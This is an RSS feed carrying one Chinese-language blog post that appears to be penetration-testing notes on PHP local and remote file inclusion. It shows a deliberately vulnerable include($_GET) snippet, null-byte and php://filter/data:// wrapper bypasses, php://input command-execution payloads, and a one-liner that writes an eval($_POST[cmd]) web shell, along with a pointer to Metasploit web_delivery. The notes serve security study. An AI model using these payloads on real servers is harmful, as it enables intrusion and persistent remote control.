<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>文件包含 on 首页 | Widegram</title>
    <link>https://widegram.com/categories/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/</link>
    <description>Recent content in 文件包含 on 首页 | Widegram</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en</language>
    <lastBuildDate>Mon, 11 Oct 2021 17:34:26 +0000</lastBuildDate><atom:link href="https://widegram.com/categories/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>LFI &amp; RFI</title>
      <link>https://widegram.com/2021/10/LFI-and-RFI/</link>
      <pubDate>Mon, 11 Oct 2021 17:34:26 +0000</pubDate>
      
      <guid>https://widegram.com/2021/10/LFI-and-RFI/</guid>
      <description>一个例子 $file = $_GET[&amp;#39;filename&amp;#39;]; include($file); //http://XXX?filename=1.jpg Local File Include 后缀限制 $file = $_GET[&amp;#39;filename&amp;#39;.&amp;#39;.php&amp;#39;]; include($file); 针对PHP低版本（5.2可行）： %00截断 &amp;amp; 长度突破 针对高版本：协议利用 前提：data协议开启，allow_url_include=1； XXX.php?filename=data://text/plain,&amp;lt;?php%20phpinfo();?&amp;gt; Remote File Include 后缀限制 RFI的后缀限制突破方法：加入GET参数（也就是&amp;quot;？&amp;ldquo;符号）。如XXX.php?filename=http://XXX.txt?即可
协议利用 php://filter/convert.base64-encode/resource=1.txt file:///D:/phpstudy/PHPTutorial/WWW/1.txt RCE执行： php://input Post:&lt;?php system(&#39;ver&#39;)?&gt;
&lt;?PHP fputs(fopen(&#39;s.php&#39;,&#39;w&#39;),&#39;&lt;?php @eval($_POST[cmd])?&gt;&#39;);?&gt; data://text/plain,&lt;?php%20phpinfo();?&gt;
思路 流程：想办法包含文件-文件来源（能不能上传） 不能上传：包含系统自身文件渗透，包含日志文件渗透 能上传：冲冲冲 RFI结合MSF-exploit/multi/script/web_delivery</description>
      <content:encoded><![CDATA[<h2 id="一个例子">一个例子</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>$file <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">&#39;filename&#39;</span>];
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">include</span>($file);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//http://XXX?filename=1.jpg
</span></span></span></code></pre></div><h2 id="local-file-include">Local File Include</h2>
<h3 id="后缀限制">后缀限制</h3>
<pre tabindex="0"><code>$file = $_GET[&#39;filename&#39;.&#39;.php&#39;];
include($file);
</code></pre><ol>
<li>针对PHP低版本（5.2可行）： %00截断 &amp; 长度突破</li>
<li>针对高版本：协议利用
前提：data协议开启，allow_url_include=1；
<code>XXX.php?filename=data://text/plain,&lt;?php%20phpinfo();?&gt;</code></li>
</ol>
<h2 id="remote-file-include">Remote File Include</h2>
<h3 id="后缀限制-1">后缀限制</h3>
<p>RFI的后缀限制突破方法：加入GET参数（也就是&quot;？&ldquo;符号）。如<code>XXX.php?filename=http://XXX.txt?</code>即可</p>
<h3 id="协议利用">协议利用</h3>
<p>php://filter/convert.base64-encode/resource=1.txt
file:///D:/phpstudy/PHPTutorial/WWW/1.txt
RCE执行：
php://input Post:<?php system('ver')?></p>
<?PHP fputs(fopen('s.php','w'),'<?php @eval($_POST[cmd])?>');?>
<p>data://text/plain,<?php%20phpinfo();?></p>
<h3 id="思路">思路</h3>
<p>流程：想办法包含文件-文件来源（能不能上传）
不能上传：包含系统自身文件渗透，包含日志文件渗透
能上传：冲冲冲
RFI结合MSF-exploit/multi/script/web_delivery</p>
]]></content:encoded>
    </item>
    
  </channel>
</rss>
